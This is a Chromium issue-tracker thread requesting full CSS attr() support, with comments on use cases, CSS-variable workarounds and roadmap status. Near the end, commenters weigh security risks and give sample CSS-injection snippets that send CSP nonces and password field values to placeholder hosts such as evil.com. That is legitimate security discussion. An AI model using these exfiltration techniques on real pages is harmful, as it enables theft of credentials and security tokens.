Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Issue 246571 Implement CSS3 attribute / attr references
Starred by 38 users Reported by a.d.herr...@gmail.com, Jun 4 2013 Back to list
Status: Available
Owner: ----
Cc:
Components:
NextAction: ----
OS: All
Pri: 3
Type: Feature


Sign in to add a comment
UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1525.0 Safari/537.36

Steps to reproduce the problem:
1. Set a property's value with a attr() value that's actual value is not a string such as a height
2. chrome describes CSS as being invalid

What is the expected behavior?

What went wrong?
It would be great to implement this feature:

http://dev.w3.org/csswg/css-values/#attr

This MDN article gives a good overview of the new features:

https://developer.mozilla.org/en-US/docs/Web/CSS/attr

Did this work before? No 

Chrome version: 29.0.1525.0  Channel: n/a
OS Version: OS X 10.8.3
 
Labels: Cr-Blink Cr-Blink-CSS
Owner: ikilpatrick@chromium.org
Cc: tkonch...@chromium.org ranjitkan@chromium.org
Issue 251679 has been merged into this issue.
Status: Available
Just hit this too. I *think* according to the specs (http://www.w3.org/TR/css3-values/#attr-notation) this should work and make the pink sqaure 10px from the left: http://codepen.io/benfrain/pen/BybOgL

Instead, as per original post an 'invalid property value' is reported (I'm running Version 41.0.2272.104 (64-bit))
Labels: Hotlist-Recharge
This issue likely requires triage.  The current issue owner maybe inactive (i.e. hasn't fixed an issue in the last 30 days).  Thanks for helping out!

-Anthony
Comment 7 by timloh@chromium.org, Sep 23 2015
Cc: ikilpatrick@chromium.org
Labels: -OS-Mac -Cr-Blink -Hotlist-Recharge OS-All
Owner: ----
Any word on the status of this request?
This is not on our (style-dev's) roadmap for 2016.
*sigh* What a shame.
Comment 12 by acte...@gmail.com, Feb 5 2016
CSS attr can be easily workarounded by CSS variables :)
That is an incorrect assumption. CSS Variables were designed for modularity to be built into the stylesheet, so that the repetition of properties would be less common place and allow for a form of CSS "configuration" within the stylesheet itself. The enhances CSS attr property is designed for the DOM to interact with the style of the page without having to resort to inefficient solutions, such as applying styles inline with JavaScript. Such a solution also allows for wider control of live manipulation of the current stylesheet without disturbing the CSS hierarchy.
@#12

> CSS attr can be easily workarounded by CSS variables :)

No, it cannot.


I would elaborate, but @#13 has already done so in brevity.
Comment 15 by hrg....@gmail.com, Jun 6 2016
@#13 and @#14
Yes, in most cases it can be replaced by css variables, because variables can be assigned to individual html elements. So they are effectively the same thing as an attribute.

We need attr() for pairing with CSS Shapes. Here's an example in the spec:
http://www.w3.org/TR/css-shapes-1/#shapes-from-image

img {shape-outside: attr(src url);} allows authors to use CSS Shapes easily in a CMS context, where the CSS can specify: "please make a shape and use the content image itself as the mask" — and that's all that's needed. 

Otherwise custom inline CSS is needed for each non-regular instance of CSS Shapes inside a CMS. (The system could specify in CSS the same shape, like a circle, for every image. But not if the image shape is different each time.)  

Like this:
<img src="foo.jpg" style="shape-outside: url(foo.jpg); />

This is much harder for authors to implement, given the reality of constrains of most systems. Having attr() will make it possible to use CSS Shapes much more often.
@#15 and @#16
It isn't just CSS shapes, but *any* kind of content or data that can be extracted from the attributes and applied via CSS without destroying the CSS hierarchy.
This feature should be really usefull for data visualization. I.e. making diagrams with less javascript.

I have a list of datapoints with a bunch of properties.
1. I would like to resize displayed items according to some properties;
2. I would like to colorize items according to some properties;
3. I would like to be able to switch easily between properties used for coloring or sizing (to bring out various properties visually).

Css variables are useless in this case, since actual values should be taken from outside of css and cannot be simplified to a reasonable set of predefined styles.
Ok, fugured it out. Sorry for wasting your time.

Here is the demo for a workaround with variables: https://jsfiddle.net/killymxi/92xnbjuw/

I'm still thinking that it's quite dodgy. Properly working attr() feature with data attributes will be more clean and semantic.
Has there been any word if this will be on the 2017 roadmap as it's already been stated that there are no plans for this feature on the 2016 roadmap?
Cc: meade@chromium.org
hi! We actually haven't set our goals for 2017 yet. I've added this to our backlog to discuss when we do set them.
Thank you for the response, I hope to hear more about this when the
discussion does arise.
Labels: Hotlist-Backlog
Labels: -Pri-2 Pri-3
Issue 670276 has been merged into this issue.
@#12 @#15: a strict CSP configuration can disable inline styles, making CSS Custom Properties non-viable alternative to universal attr().
Any word yet on getting this into the 2017 roadmap?
What are the security implications of this? Won't this allow someone with CSS injection to exfiltrate data from the page?
Hi chrismr3000,

Sorry, we still haven't completed planning yet. This is definitely on my list of things to consider. I will be sure to post here with our plans once we've made them.
Thanks for the update, and hopefully it does make it into the roadmap!
Re comment 29, yes. This would allow someone to exfiltrate HTML attributes like CSP or CSRF nonces with CSS.

Example:
<base href=//evilwebsite.com/stealnonce/>
<script nonce=random></script>
<style>script:after{content: attr(nonce url);}</script>

There are many other ways to do this, however. So it's not clear if this makes much of a difference.
There are other ways, but they rely on Javascript. This adds a new class of vulnerability, which could turn a relatively benign cosmetic issue into subtle information disclosure.

I think it deserves some sort of mitigation if it's to be implemented per the spec.
@#32
Can you do that without the <base> tag?
If not, then that's plain old HTML injection, not CSS injection.
#34, I think that's correct, so with the "attr(... url)" syntax you'd likely only be able to forcibly request a "neutralised" URL like the following:

  <img src="placeholder.gif" src-disabled="//external.tld/photo.jpg"/>

This might in fact be useful for noscript situations.

However, I've realised that you can already leak attribute information in CSS with:

 input[type="password"][value*="a" i] { background: url(//evil.com/a) } 
 input[type="password"][value*="b" i] { background: url(//evil.com/b) } 
 ...

This doesn't require Javascript injection, so leakage from attr() would just be a refinement of this existing attack. There's even a recent write-up of this at http://sirdarckcat.blogspot.co.uk/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html.

So it doesn't appear to be open up a new vector as I thought.
Did this make it on the 2017 priority list?
Sign in to add a comment